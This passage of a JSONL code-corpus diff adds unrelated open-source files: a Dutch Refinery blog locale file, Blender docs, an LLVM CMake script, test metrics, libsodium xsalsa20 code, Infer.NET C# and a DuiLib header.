    (opent in een nieuw venster)'\n            edit: Bewerk deze blogpost\n            delete: Verwijder deze blogpost definitief\n            draft: Concept\n        settings:\n          notification_recipients:\n            value: Stuur notificaties naar\n            explanation: 'Bij elke nieuwe reactie op een blogpost stuurt Refinery u een e-mail om dit te melden.'\n            hint: 'Als er een reactie is toegevoegd stuurt Refinery een e-mail notificatie naar u.'\n            example: \"Voer uw e-mailadres(sen) in, bijvoorbeeld: jack@work.com, jill@office.com\"\n            updated: 'De ontvanger(s) van notificaties is/zijn gewijzigd naar \"%{recipients}\"'\n        submenu:\n          categories:\n            title: Categorieën\n            manage: Beheren\n            new: Voeg een nieuwe categorie toe\n          comments:\n            title: Reacties\n            title_with_count: 'Reacties (%{new_count} nieuwe)'\n            new: Nieuw\n            unmoderated: Nieuw\n            approved: Goedgekeurd\n            rejected: Afgekeurd\n          posts:\n            title: Posts\n            manage: Beheer posts\n            new: Voeg een nieuwe post toe\n            uncategorized: Ongecategoriseerde posts\n          settings:\n            title: Instellingen\n            moderation: Stuur notificaties\n            update_notified: Wijzig wie notificaties ontvangt\n            comments: Reacties\n            teasers: Teasers\n      comment_mailer:\n        notification:\n          greeting: Hallo\n          you_recieved_new_comment: Er is zojuist een reactie geplaatst op uw website.\n          comment_starts: --- begin reactie ---\n          comment_ends: --- einde reactie ---\n          from: Van\n          email: E-mail\n          message: Bericht\n          approve: Goedkeuren\n          or: \" of \"\n          reject: afkeuren\n          this_comment: \" deze comment.\"\n          closing_line: Met vriendelijke groet\n          ps: 'P.S. Alle reacties worden opgeslagen in de \"Blog\" sectie van Refinery onder het submenu \"Comments\", voor als u deze reacties later wilt bekijken.'\n      shared:\n        categories:\n          title: Categorieën\n        rss_feed:\n          title: RSS Feed\n          subscribe: Aanmelden\n        posts:\n          other: Andere posts\n          created_at: 'Gepost op %{when}'\n          read_more: Lees verder\n        comments:\n          singular: Reactie\n          none: Geen reacties\n        archives: Archief\n        tags:\n          title: \"Tags\"\n      categories:\n        show:\n          no_posts: Er zijn momenteel geen posts.\n      posts:\n        post:\n          filled_in: Toegevoegd aan\n        comment: Reactie\n        comments:\n          by: 'Gepost door %{who}'\n          time_ago: '%{time} geleden'\n          thank_you: 'Bedankt voor uw reactie.'\n          thank_you_moderated: 'Bedankt voor uw reactie. Uw reactie is in de wachtrij geplaatst en zal binnenkort verschijnen.'\n        index:\n          no_blog_articles_yet: Er zijn momenteel nog geen blogposts. Neem regelmatig een kijkje.\n        show:\n          blog_home: Blog Home\n          comments:\n            title: Reacties\n            add: Plaats een reactie\n          other: Andere blogposts\n          filled_in: Toegevoegd aan\n          tagged: Tagged\n          submit: Verstuur reactie\n          name: Naam\n          email: Email\n          message: Bericht\n          by: Door\n          source: Bron\n        tagged:\n          no_blog_articles_yet: Er zijn momenteel nog geen blogposts. Neem regelmatig een kijkje.\n          posts_tagged: Posts tagged\n        archive:\n          blog_archive_for: 'Blog archief voor %{date}'\n          no_blog_articles_posted: 'Er zijn geen blogposts voor %{date}. Neem regelmatig een kijkje.'\n  activerecord:\n   models:\n     refinery/blog/category: Categorie\n     refinery/blog/comment: Reactie\n     refinery/blog/post: Blogpost\n   attributes:\n     refinery/blog/category:\n       title: Titel\n     refinery/blog/comment:\n       name: Naam\n       email: E-mail\n       message: Bericht\n     refinery/blog/post:\n       title: Titel\n       body: Body\n       teaser: Teaser\n"}
+{"text": "# bfile.py\n"}
+{"text": "/** \\defgroup extern External libraries\n *  \\section externabout External libraries\n *  As with \\ref intern these libraries are\n *  provided in the Blender codebase. This is\n *  to make building Blender easier. The main\n *  development of these libraries is \\b not part\n *  of the normal Blender development process, but\n *  each of the library is developed separately.\n *  Whenever deemed necessary libraries in \\c extern/\n *  folder are updated.\n *\n */\n\n/** \\defgroup curve_fit Curve Fitting Library\n *  \\ingroup extern\n */\n\n/** \\defgroup bullet Bullet Physics Library\n *  \\ingroup extern\n *  \\see \\ref bulletdoc\n */\n"}
+{"text": "option(BUILD_CLANG_FORMAT_VS_PLUGIN \"Build clang-format VS plugin\" OFF)\nif (BUILD_CLANG_FORMAT_VS_PLUGIN)\n  add_custom_target(clang_format_exe_for_vsix\n      ${CMAKE_COMMAND} -E copy_if_different\n      \"${LLVM_TOOLS_BINARY_DIR}/clang-format.exe\"\n      \"${CMAKE_CURRENT_SOURCE_DIR}/ClangFormat/clang-format.exe\"\n      DEPENDS clang-format)\n\n  # Build number added to Clang version to ensure that new VSIX can be upgraded\n  string(TIMESTAMP CLANG_FORMAT_VSIX_BUILD %y%m%d%H%M UTC)\n\n  if (NOT CLANG_FORMAT_VS_VERSION)\n    set(CLANG_FORMAT_VS_VERSION \"${LLVM_VERSION_MAJOR}.${LLVM_VERSION_MINOR}.${LLVM_VERSION_PATCH}.${CLANG_FORMAT_VSIX_BUILD}\")\n  endif()\n\n  configure_file(\"source.extension.vsixmanifest.in\"\n      \"${CMAKE_CURRENT_SOURCE_DIR}/ClangFormat/source.extension.vsixmanifest\")\n\n  find_program(NUGET_EXE nuget PATHS ${NUGET_EXE_DIR})\n  if (NOT NUGET_EXE)\n    message(FATAL_ERROR \"Could not find nuget.exe. Download from https://www.nuget.org/nuget.exe\"\n                        \" and add parent directory to PATH or pass it via NUGET_EXE_DIR var.\")\n  endif()\n\n  add_custom_target(clang_format_vsix ALL\n      COMMAND ${NUGET_EXE} restore \"${CMAKE_CURRENT_SOURCE_DIR}/ClangFormat.sln\"\n      COMMAND devenv \"${CMAKE_CURRENT_SOURCE_DIR}/ClangFormat.sln\" /Build Release\n      DEPENDS clang_format_exe_for_vsix \"${CMAKE_CURRENT_SOURCE_DIR}/ClangFormat/source.extension.vsixmanifest\"\n      COMMAND ${CMAKE_COMMAND} -E copy_if_different\n      \"${CMAKE_CURRENT_SOURCE_DIR}/ClangFormat/bin/Release/ClangFormat.vsix\"\n      \"${LLVM_TOOLS_BINARY_DIR}/ClangFormat.vsix\"\n      DEPENDS clang_format_exe_for_vsix)\nendif()\n"}
+{"text": "{\n    \"localparam/localparam/no_arch\": {\n        \"test_name\": \"localparam/localparam/no_arch\",\n        \"blif\": \"localparam.blif\",\n        \"max_rss(MiB)\": 29.8,\n        \"exec_time(ms)\": 3.7,\n        \"simulation_time(ms)\": 0.8,\n        \"test_coverage(%)\": 100,\n        \"Pi\": 3,\n        \"Po\": 3,\n        \"logic element\": 3,\n        \"Longest Path\": 3,\n        \"Average Path\": 3,\n        \"Estimated LUTs\": 3,\n        \"Total Node\": 3\n    },\n    \"localparam/parameter_define_localparam/no_arch\": {\n        \"test_name\": \"localparam/parameter_define_localparam/no_arch\",\n        \"blif\": \"parameter_define_localparam.blif\",\n        \"max_rss(MiB)\": 29.7,\n        \"exec_time(ms)\": 3.6,\n        \"simulation_time(ms)\": 0.8,\n        \"test_coverage(%)\": 100,\n        \"Pi\": 3,\n        \"Po\": 3,\n        \"logic element\": 3,\n        \"Longest Path\": 3,\n        \"Average Path\": 3,\n        \"Estimated LUTs\": 3,\n        \"Total Node\": 3\n    },\n    \"DEFAULT\": {\n        \"test_name\": \"n/a\",\n        \"architecture\": \"n/a\",\n        \"blif\": \"n/a\",\n        \"exit\": 0,\n        \"leaks\": 0,\n        \"errors\": [],\n        \"warnings\": [],\n        \"expectation\": [],\n        \"max_rss(MiB)\": -1,\n        \"exec_time(ms)\": -1,\n        \"simulation_time(ms)\": -1,\n        \"test_coverage(%)\": -1,\n        \"Latch Drivers\": 0,\n        \"Pi\": 0,\n        \"Po\": 0,\n        \"logic element\": 0,\n        \"latch\": 0,\n        \"Adder\": -1,\n        \"Multiplier\": -1,\n        \"Memory\": -1,\n        \"Hard Ip\": -1,\n        \"generic logic size\": -1,\n        \"Longest Path\": 0,\n        \"Average Path\": 0,\n        \"Estimated LUTs\": 0,\n        \"Total Node\": 0\n    }\n}\n"}
+{"text": "import { ObservableInput } from '../types';\nimport { Subscription } from '../Subscription';\nimport { Subscriber } from '../Subscriber';\nexport declare const subscribeTo: (result: ObservableInput) => (subscriber: Subscriber) => void | Subscription;\n"}
+{"text": "// Copyright (C) 2018 David Reid. See included LICENSE file.\n\n// Modifier flags. These will be passed to the \"state\" flags for mouse and key events.\n#define DTK_MODIFIER_MOUSE_BUTTON_LEFT      (1 << 0)\n#define DTK_MODIFIER_MOUSE_BUTTON_RIGHT     (1 << 1)\n#define DTK_MODIFIER_MOUSE_BUTTON_MIDDLE    (1 << 2)\n#define DTK_MODIFIER_MOUSE_BUTTON_4         (1 << 3)\n#define DTK_MODIFIER_MOUSE_BUTTON_5         (1 << 4)\n#define DTK_MODIFIER_SHIFT                  (1 << 5)\n#define DTK_MODIFIER_CTRL                   (1 << 6)\n#define DTK_MODIFIER_ALT                    (1 << 7)\n\n// Key state flags. These will be passed to the \"state\" flags for key events.\n#define DTK_KEY_STATE_AUTO_REPEATED         (1 << 31)\n\n\n\n///////////////////////////////////////////////////////////////////////////////\n//\n// Keyboard\n//\n///////////////////////////////////////////////////////////////////////////////\ntypedef dtk_uint32 dtk_key;\n#define DTK_KEY_BACKSPACE              0xff08\n#define DTK_KEY_TAB                    0xff09\n#define DTK_KEY_RETURN                 0xff0d\n#define DTK_KEY_SHIFT                  0xff10\n#define DTK_KEY_ESCAPE                 0xff1b\n#define DTK_KEY_PAGE_UP                0xff55\n#define DTK_KEY_PAGE_DOWN              0xff56\n#define DTK_KEY_END                    0xff57\n#define DTK_KEY_HOME                   0xff50\n#define DTK_KEY_ARROW_LEFT             0x8fb\n#define DTK_KEY_ARROW_UP               0x8fc\n#define DTK_KEY_ARROW_RIGHT            0x8fd\n#define DTK_KEY_ARROW_DOWN             0x8fe\n#define DTK_KEY_DELETE                 0xffff\n#define DTK_KEY_F1                     0xffbe\n#define DTK_KEY_F2                     0xffbf\n#define DTK_KEY_F3                     0xffc0\n#define DTK_KEY_F4                     0xffc1\n#define DTK_KEY_F5                     0xffc2\n#define DTK_KEY_F6                     0xffc3\n#define DTK_KEY_F7                     0xffc4\n#define DTK_KEY_F8                     0xffc5\n#define DTK_KEY_F9                     0xffc6\n#define DTK_KEY_F10                    0xffc7\n#define DTK_KEY_F11                    0xffc8\n#define DTK_KEY_F12                    0xffc9\n#define DTK_KEY_SPACE                  0x020\n\n// Converts a key to a string, returning the length of the string.\nsize_t dtk_key_to_string(dtk_key key, char* strOut, size_t strOutSize);\n\n// Converts a string to a key code.\ndtk_key dtk_key_parse(const char* str);\n\n\n///////////////////////////////////////////////////////////////////////////////\n//\n// Mouse\n//\n///////////////////////////////////////////////////////////////////////////////\ntypedef dtk_uint32 dtk_mouse_button;\n#define DTK_MOUSE_BUTTON_LEFT   1\n#define DTK_MOUSE_BUTTON_RIGHT  2\n#define DTK_MOUSE_BUTTON_MIDDLE 3\n#define DTK_MOUSE_BUTTON_4      4\n#define DTK_MOUSE_BUTTON_5      5\n\n// Retrieves the modifier flag for the given mouse button. The return value will be a value with one of\n// the DTK_MODIFIER_MOUSE_BUTTON_* flags set.\ndtk_uint32 dtk_get_mouse_button_modifier_flag(dtk_mouse_button button);"}
+{"text": "#include \"sodium/crypto_core_hsalsa20.h\"\n#include \"sodium/crypto_stream_salsa20.h\"\n#include \"sodium/crypto_stream_xsalsa20.h\"\n#include \"sodium/randombytes.h\"\n#include \"sodium/utils.h\"\n\nint\ncrypto_stream_xsalsa20(unsigned char *c, unsigned long long clen,\n                       const unsigned char *n, const unsigned char *k)\n{\n    unsigned char subkey[32];\n    int           ret;\n\n    crypto_core_hsalsa20(subkey, n, k, NULL);\n    ret = crypto_stream_salsa20(c, clen, n + 16, subkey);\n    sodium_memzero(subkey, sizeof subkey);\n\n    return ret;\n}\n\nint\ncrypto_stream_xsalsa20_xor_ic(unsigned char *c, const unsigned char *m,\n                              unsigned long long mlen, const unsigned char *n,\n                              uint64_t ic, const unsigned char *k)\n{\n    unsigned char subkey[32];\n    int           ret;\n\n    crypto_core_hsalsa20(subkey, n, k, NULL);\n    ret = crypto_stream_salsa20_xor_ic(c, m, mlen, n + 16, ic, subkey);\n    sodium_memzero(subkey, sizeof subkey);\n\n    return ret;\n}\n\nint\ncrypto_stream_xsalsa20_xor(unsigned char *c, const unsigned char *m,\n                           unsigned long long mlen, const unsigned char *n,\n                           const unsigned char *k)\n{\n    return crypto_stream_xsalsa20_xor_ic(c, m, mlen, n, 0ULL, k);\n}\n\nsize_t\ncrypto_stream_xsalsa20_keybytes(void)\n{\n    return crypto_stream_xsalsa20_KEYBYTES;\n}\n\nsize_t\ncrypto_stream_xsalsa20_noncebytes(void)\n{\n    return crypto_stream_xsalsa20_NONCEBYTES;\n}\n\nsize_t\ncrypto_stream_xsalsa20_messagebytes_max(void)\n{\n    return crypto_stream_xsalsa20_MESSAGEBYTES_MAX;\n}\n\nvoid\ncrypto_stream_xsalsa20_keygen(unsigned char k[crypto_stream_xsalsa20_KEYBYTES])\n{\n    randombytes_buf(k, crypto_stream_xsalsa20_KEYBYTES);\n}\n"}
+{"text": "// Licensed to the .NET Foundation under one or more agreements.\n// The .NET Foundation licenses this file to you under the MIT license.\n// See the LICENSE file in the project root for more information.\n\nusing System;\nusing System.Collections.Generic;\nusing Microsoft.ML.Probabilistic.Collections;\nusing Microsoft.ML.Probabilistic.Utilities;\nusing Microsoft.ML.Probabilistic.Compiler;\nusing Microsoft.ML.Probabilistic.Compiler.CodeModel;\n\nnamespace Microsoft.ML.Probabilistic.Compiler.Transforms\n{\n    internal class ConditionBinding : ICloneable\n    {\n        public readonly IExpression lhs, rhs;\n        protected static CodeBuilder Builder = CodeBuilder.Instance;\n        //protected static CodeRecognizer Recognizer = CodeRecognizer.Instance;\n        public ConditionBinding(IExpression lhs, IExpression rhs)\n        {\n            this.lhs = lhs;\n            this.rhs = rhs;\n        }\n\n        public ConditionBinding(IExpression condition)\n        {\n            lhs = condition;\n            rhs = Builder.LiteralExpr(true);\n            if (condition is IBinaryExpression)\n            {\n                IBinaryExpression ibe = (IBinaryExpression) condition;\n                if ((ibe.Operator == BinaryOperator.IdentityEquality) || (ibe.Operator == BinaryOperator.ValueEquality))\n                {\n                    lhs = ibe.Left;\n                    rhs = ibe.Right;\n                }\n            }\n            else if (condition is IUnaryExpression)\n            {\n                IUnaryExpression iue = (IUnaryExpression) condition;\n                if (iue.Operator == UnaryOperator.BooleanNot)\n                {\n                    lhs = iue.Expression;\n                    rhs = Builder.LiteralExpr(false);\n                }\n            }\n        }\n\n        public IExpression GetExpression()\n        {\n            if (rhs is ILiteralExpression && rhs.GetExpressionType().Equals(typeof (bool)))\n            {\n                bool value = (bool) ((ILiteralExpression) rhs).Value;\n                if (value) return lhs;\n                else return Builder.UnaryExpr(UnaryOperator.BooleanNot, lhs);\n            }\n            else\n            {\n                return Builder.BinaryExpr(lhs, BinaryOperator.ValueEquality, rhs);\n            }\n        }\n\n        public ConditionBinding FlipCondition()\n        {\n            if (rhs.GetExpressionType().Equals(typeof (bool)) && (rhs is ILiteralExpression))\n            {\n                IExpression rhs2 = Builder.LiteralExpr(!(bool) ((ILiteralExpression) rhs).Value);\n                return new ConditionBinding(lhs, rhs2);\n            }\n            else\n            {\n                // condition must have been ValueEquality\n                IExpression lhs2 = Builder.BinaryExpr(lhs, BinaryOperator.ValueEquality, rhs);\n                IExpression rhs2 = Builder.LiteralExpr(false);\n                return new ConditionBinding(lhs2, rhs2);\n            }\n        }\n\n        public override bool Equals(object obj)\n        {\n            ConditionBinding that = obj as ConditionBinding;\n            if (that == null) return false;\n            return lhs.Equals(that.lhs) && rhs.Equals(that.rhs);\n        }\n\n        public override int GetHashCode()\n        {\n            int hash = Hash.Start;\n            hash = Hash.Combine(hash, lhs.GetHashCode());\n            hash = Hash.Combine(hash, rhs.GetHashCode());\n            return hash;\n        }\n\n        public override string ToString()\n        {\n            if (rhs is ILiteralExpression && rhs.GetExpressionType().Equals(typeof (bool)))\n            {\n                string lhsString = lhs.ToString();\n                bool value = (bool) ((ILiteralExpression) rhs).Value;\n                if (value)\n                    return lhsString;\n                else\n                {\n                    if (lhs is IBinaryExpression)\n                        lhsString = \"(\" + lhsString + \")\";\n                    return \"!\" + lhsString;\n                }\n            }\n            else\n            {\n                return lhs + \"=\" + rhs;\n            }\n        }\n\n        public static Set Copy(IEnumerable bindings)\n        {\n            Set result = new Set();\n            foreach (ConditionBinding binding in bindings)\n            {\n                result.Add((ConditionBinding) binding.Clone());\n            }\n            return result;\n        }\n\n        public static Dictionary ToDictionary(IEnumerable bindings, bool boolVarsOnly)\n        {\n            Dictionary result = new Dictionary();\n            foreach (ConditionBinding binding in bindings)\n            {\n                if (boolVarsOnly)\n                {\n                    bool isSimple = !(binding.lhs is IBinaryExpression);\n                    if (!isSimple) continue;\n                    bool isBool = binding.lhs.GetExpressionType().Equals(typeof (bool));\n                    if (!isBool) continue;\n                }\n                result[binding.lhs] = binding.rhs;\n            }\n            return result;\n        }\n\n        public object Clone()\n        {\n            return new ConditionBinding(lhs, rhs);\n        }\n    }\n}"}
+{"text": "1\n1000\n190\n250 15\n251 9\n252 12\n253 14\n254 13\n255 10\n256 5\n257 3\n258 11\n259 13\n260 4\n261 3\n262 6\n263 5\n264 4\n265 3\n266 2\n267 6\n268 2\n269 7\n270 3\n271 8\n272 5\n273 5\n274 9\n275 7\n276 4\n277 1\n278 1\n280 4\n281 3\n282 5\n283 2\n284 2\n285 4\n287 6\n288 2\n289 1\n290 2\n291 4\n292 2\n293 2\n294 4\n295 2\n296 2\n297 2\n298 5\n299 3\n301 3\n302 1\n303 1\n305 1\n306 1\n307 3\n308 2\n310 1\n312 2\n313 2\n314 2\n315 1\n317 1\n318 3\n320 2\n321 1\n323 1\n324 2\n325 1\n326 1\n329 2\n330 1\n331 2\n333 4\n334 1\n336 1\n337 1\n338 1\n339 1\n340 4\n342 2\n343 2\n344 2\n346 2\n347 4\n349 1\n350 5\n351 2\n352 2\n354 2\n355 2\n356 4\n357 3\n359 2\n361 1\n362 2\n363 3\n364 1\n365 1\n366 5\n367 2\n369 3\n370 2\n372 2\n373 1\n375 3\n376 2\n377 2\n379 1\n381 4\n382 1\n383 1\n385 1\n386 1\n390 1\n392 4\n393 2\n394 2\n395 2\n397 1\n398 1\n399 1\n400 1\n401 1\n402 1\n404 1\n405 1\n406 2\n407 1\n410 2\n412 1\n413 1\n414 1\n415 1\n417 2\n418 4\n419 3\n420 1\n421 2\n422 1\n423 1\n425 3\n426 2\n430 1\n433 2\n434 2\n437 2\n439 1\n441 2\n442 1\n443 1\n444 1\n445 4\n446 3\n447 1\n450 1\n451 1\n455 1\n456 3\n457 1\n459 1\n460 1\n462 1\n463 1\n464 1\n465 1\n466 1\n467 2\n469 1\n470 1\n471 1\n472 1\n473 2\n474 1\n475 2\n478 3\n479 2\n480 3\n481 1\n483 1\n484 1\n485 4\n487 2\n488 2\n490 2\n491 2\n492 1\n493 2\n495 3\n496 2\n497 3\n498 3\n"}
+{"text": "#ifndef __UIMANAGER_H__\r\n#define __UIMANAGER_H__\r\n\r\n#pragma once\r\nnamespace DuiLib {\r\n\t/////////////////////////////////////////////////////////////////////////////////////\r\n\t//\r\n\r\n\tclass CControlUI;\r\n\tclass CRichEditUI;\r\n\tclass CIDropTarget;\r\n\r\n\t/////////////////////////////////////////////////////////////////////////////////////\r\n\t//\r\n\tenum UILIB_RESTYPE\r\n\t{\r\n\t\tUILIB_FILE=1,\t\t// 来自磁盘文件\r\n\t\tUILIB_ZIP,\t\t\t// 来自磁盘zip压缩包\r\n\t\tUILIB_RESOURCE,\t\t// 来自资源\r\n\t\tUILIB_ZIPRESOURCE,\t// 来自资源的zip压缩包\r\n\t};\r\n\t/////////////////////////////////////////////////////////////////////////////////////\r\n\t//\r\n\r\n\ttypedef enum EVENTTYPE_UI\r\n\t{\r\n\t\tUIEVENT__FIRST = 1,\r\n\t\tUIEVENT__KEYBEGIN,\r\n\t\tUIEVENT_KEYDOWN,\r\n\t\tUIEVENT_KEYUP,\r\n\t\tUIEVENT_CHAR,\r\n\t\tUIEVENT_SYSKEY,\r\n\t\tUIEVENT__KEYEND,\r\n\t\tUIEVENT__MOUSEBEGIN,\r\n\t\tUIEVENT_MOUSEMOVE,\r\n\t\tUIEVENT_MOUSELEAVE,\r\n\t\tUIEVENT_MOUSEENTER,\r\n\t\tUIEVENT_MOUSEHOVER,\r\n\t\tUIEVENT_BUTTONDOWN,\r\n\t\tUIEVENT_BUTTONUP,\r\n\t\tUIEVENT_RBUTTONDOWN,\r\n\t\tUIEVENT_RBUTTONUP,\r\n\t\tUIEVENT_MBUTTONDOWN,\r\n\t\tUIEVENT_MBUTTONUP,\r\n\t\tUIEVENT_DBLCLICK,\r\n\t\tUIEVENT_CONTEXTMENU,\r\n\t\tUIEVENT_SCROLLWHEEL,\r\n\t\tUIEVENT__MOUSEEND,\r\n\t\tUIEVENT_KILLFOCUS,\r\n\t\tUIEVENT_SETFOCUS,\r\n\t\tUIEVENT_WINDOWSIZE,\r\n\t\tUIEVENT_SETCURSOR,\r\n\t\tUIEVENT_TIMER,\r\n\t\tUIEVENT__LAST,\r\n\t};\r\n\r\n\r\n\t/////////////////////////////////////////////////////////////////////////////////////\r\n\t//\r\n\t// 内部保留的消息\r\n\ttypedef enum MSGTYPE_UI\r\n\t{\r\n\t\tUIMSG_TRAYICON = WM_USER + 1,// 托盘消息\r\n\t\tUIMSG_SET_DPI,\t\t\t\t // DPI\r\n\t\tWM_MENUCLICK,\t\t\t\t // 菜单消息\r\n\t\tUIMSG_USER = WM_USER + 100,\t // 程序自定义消息\r\n\t};\r\n\r\n\t/////////////////////////////////////////////////////////////////////////////////////\r\n\t//\r\n\r\n\t// Flags for CControlUI::GetControlFlags()\r\n#define UIFLAG_TABSTOP       0x00000001\r\n#define UIFLAG_SETCURSOR     0x00000002\r\n#define UIFLAG_WANTRETURN    0x00000004\r\n\r\n\t// Flags for FindControl()\r\n#define UIFIND_ALL           0x00000000\r\n#define UIFIND_VISIBLE       0x00000001\r\n#define UIFIND_ENABLED       0x00000002\r\n#define UIFIND_HITTEST       0x00000004\r\n#define UIFIND_UPDATETEST    0x00000008\r\n#define UIFIND_TOP_FIRST     0x00000010\r\n#define UIFIND_ME_FIRST      0x80000000\r\n\r\n\t// Flags used for controlling the paint\r\n#define UISTATE_FOCUSED      0x00000001\r\n#define UISTATE_SELECTED     0x00000002\r\n#define UISTATE_DISABLED     0x00000004\r\n#define UISTATE_HOT          0x00000008\r\n#define UISTATE_PUSHED       0x00000010\r\n#define UISTATE_READONLY     0x00000020\r\n#define UISTATE_CAPTURED     0x00000040\r\n\r\n\r\n\r\n\t/////////////////////////////////////////////////////////////////////////////////////\r\n\t//\r\n\r\n\ttypedef struct UILIB_API tagTFontInfo\r\n\t{\r\n\t\tHFONT hFont;\r\n\t\tCDuiString sFontName;\r\n\t\tint iSize;\r\n\t\tbool bBold;\r\n\t\tbool bUnderline;\r\n\t\tbool bItalic;\r\n\t\tTEXTMETRIC tm;\r\n\t} TFontInfo;\r\n\r\n\ttypedef struct UILIB_API tagTImageInfo\r\n\t{\r\n\t\tHBITMAP hBitmap;\r\n\t\tLPBYTE pBits;\r\n\t\tLPBYTE pSrcBits;\r\n\t\tint nX;\r\n\t\tint nY;\r\n\t\tbool bAlpha;\r\n\t\tbool bUseHSL;\r\n\t\tCDuiString sResType;\r\n\t\tDWORD dwMask;\r\n\r\n\t} TImageInfo;\r\n\r\n\ttypedef struct UILIB_API tagTDrawInfo\r\n\t{\r\n\t\ttagTDrawInfo();\r\n\t\tvoid Parse(LPCTSTR pStrImage, LPCTSTR pStrModify, CPaintManagerUI *pManager);\r\n\t\tvoid Clear();\r\n\r\n\t\tCDuiString sDrawString;\r\n\t\tCDuiString sDrawModify;\r\n\t\tCDuiString sImageName;\r\n\t\tCDuiString sResType;\r\n\t\tRECT rcDest;\r\n\t\tRECT rcSource;\r\n\t\tRECT rcCorner;\r\n\t\tDWORD dwMask;\r\n\t\tBYTE uFade;\r\n\t\tbool bHole;\r\n\t\tbool bTiledX;\r\n\t\tbool bTiledY;\r\n\t\tbool bHSL;\r\n\r\n\t\tCDuiSize szImage;\r\n\t\tRECT rcPadding;\r\n\t\tCDuiString sAlign;\r\n\t} TDrawInfo;\r\n\r\n\ttypedef struct UILIB_API tagTPercentInfo\r\n\t{\r\n\t\tdouble left;\r\n\t\tdouble top;\r\n\t\tdouble right;\r\n\t\tdouble bottom;\r\n\t} TPercentInfo;\r\n\r\n\ttypedef struct UILIB_API tagTResInfo\r\n\t{\r\n\t\tDWORD m_dwDefaultDisabledColor;\r\n\t\tDWORD m_dwDefaultFontColor;\r\n\t\tDWORD m_dwDefaultLinkFontColor;\r\n\t\tDWORD m_dwDefaultLinkHoverFontColor;\r\n\t\tDWORD m_dwDefaultSelectedBkColor;\r\n\t\tTFontInfo m_DefaultFontInfo;\r\n\t\tCStdStringPtrMap m_CustomFonts;\r\n\t\tCStdStringPtrMap m_ImageHash;\r\n\t\tCStdStringPtrMap m_AttrHash;\r\n\t\tCStdStringPtrMap m_StyleHash;\r\n\t\tCStdStringPtrMap m_DrawInfoHash;\r\n\t} TResInfo;\r\n\r\n\t// Structure for notifications from the system\r\n\t// to the control implementation.\r\n\ttypedef struct UILIB_API tagTEventUI\r\n\t{\r\n\t\tint Type;\r\n\t\tCControlUI* pSender;\r\n\t\tDWORD dwTimestamp;\r\n\t\tPOINT ptMouse;\r\n\t\tTCHAR chKey;\r\n\t\tWORD wKeyState;\r\n\t\tWPARAM wParam;\r\n\t\tLPARAM lParam;\r\n\t} TEventUI;\r\n\r\n\t// Drag&Drop control\r\n\tconst TCHAR* const CF_MOVECONTROL = _T(\"CF_MOVECONTROL\");\r\n\r\n\ttypedef struct UILIB_API tagTCFMoveUI\r\n\t{\r\n\t\tCControlUI* pControl;\r\n\t} TCFMoveUI;\r\n\r\n\t// Listener interface\r\n\tclass INotifyUI\r\n\t{\r\n\tpublic:\r\n\t\tvirtual void Notify(TNotifyUI& msg) = 0;\r\n\t};\r\n\r\n\t// MessageFilter interface\r\n\tclass IMessageFilterUI\r\n\t{\r\n\tpublic:\r\n\t\tvirtual LRESULT MessageHandler(UINT uMsg, WPARAM wParam, LPARAM lParam, bool& bHandled) = 0;\r\n\t};\r\n\r\n\tclass ITranslateAccelerator\r\n\t{\r\n\tpublic:\r\n\t\tvirtual LRESULT TranslateAccelerator(MSG *pMsg) = 0;\r\n\t};\r\n\r\n\r\n\t/////////////////////////////////////////////////////////////////////////////////////\r\n\t//\r\n\ttypedef CControlUI* (*LPCREATECONTROL)(LPCTSTR pstrType);\r\n\r\n\tclass UILIB_API CPaintManagerUI : public CIDropTarget\r\n\t{\r\n\tpublic:\r\n\t\tCPaintManagerUI();\r\n\t\t~CPaintManagerUI();\r\n\r\n\tpublic:\r\n\t\tvoid Init(HWND hWnd, LPCTSTR pstrName = NULL);\r\n\t\tbool IsUpdateNeeded() const;\r\n\t\tvoid NeedUpdate();\r\n\t\tvoid Invalidate();\r\n\t\tvoid Invalidate(RECT& rcItem);\r\n\r\n\t\tLPCTSTR GetName() const;\r\n\t\tHDC GetPaintDC() const;\r\n\t\tHWND GetPaintWindow() const;\r\n\t\tHWND GetTooltipWindow() const;\r\n\t\tint GetHoverTime() const;\r\n\t\tvoid SetHoverTime(int iTime);\r\n\r\n\t\tPOINT GetMousePos() const;\r\n\t\tSIZE GetClientSize() const;\r\n\t\tSIZE GetInitSize();\r\n\t\tvoid SetInitSize(int cx, int cy);\r\n\t\tRECT& GetSizeBox();\r\n\t\tvoid SetSizeBox(RECT& rcSizeBox);\r\n\t\tRECT& GetCaptionRect();\r\n\t\tvoid SetCaptionRect(RECT& rcCaption);\r\n\t\tSIZE GetRoundCorner() const;\r\n\t\tvoid SetRoundCorner(int cx, int cy);\r\n\t\tSIZE GetMinInfo() const;\r\n\t\tvoid SetMinInfo(int cx, int cy);\r\n\t\tSIZE GetMaxInfo() const;\r\n\t\tvoid SetMaxInfo(int cx, int cy);\r\n\t\tbool IsShowUpdateRect() const;\r\n\t\tvoid SetShowUpdateRect(bool show);\r\n\t\tbool IsNoActivate();\r\n\t\tvoid SetNoActivate(bool bNoActivate);\r\n\r\n\t\tBYTE GetOpacity() const;\r\n\t\tvoid SetOpacity(BYTE nOpacity);\r\n\r\n\t\tbool IsLayered();\r\n\t\tvoid SetLayered(bool bLayered);\r\n\t\tRECT& GetLayeredInset();\r\n\t\tvoid SetLayeredInset(RECT& rcLayeredInset);\r\n\t\tBYTE GetLayeredOpacity();\r\n\t\tvoid SetLayeredOpacity(BYTE nOpacity);\r\n\t\tLPCTSTR GetLayeredImage();\r\n\t\tvoid SetLayeredImage(LPCTSTR pstrImage);\r\n\r\n\t\tCShadowUI* GetShadow();\r\n\r\n\t\tvoid SetUseGdiplusText(bool bUse);\r\n\t\tbool IsUseGdiplusText() const;\r\n\t\tvoid SetGdiplusTextRenderingHint(int trh);\r\n\t\tint GetGdiplusTextRenderingHint() const;\r\n\r\n\t\tstatic HINSTANCE GetInstance();\r\n\t\tstatic CDuiString GetInstancePath();\r\n\t\tstatic CDuiString GetCurrentPath();\r\n\t\tstatic HINSTANCE GetResourceDll();\r\n\t\tstatic const CDuiString& GetResourcePath();\r\n\t\tstatic const CDuiString& GetResourceZip();\r\n\t\tstatic const CDuiString& GetResourceZipPwd();\r\n\t\tstatic bool IsCachedResourceZip();\r\n\t\tstatic HANDLE GetResourceZipHandle();\r\n\t\tstatic void SetInstance(HINSTANCE hInst);\r\n\t\tstatic void SetCurrentPath(LPCTSTR pStrPath);\r\n\t\tstatic void SetResourceDll(HINSTANCE hInst);\r\n\t\tstatic void SetResourcePath(LPCTSTR pStrPath);\r\n\t\tstatic void SetResourceZip(LPVOID pVoid, unsigned int len, LPCTSTR password = 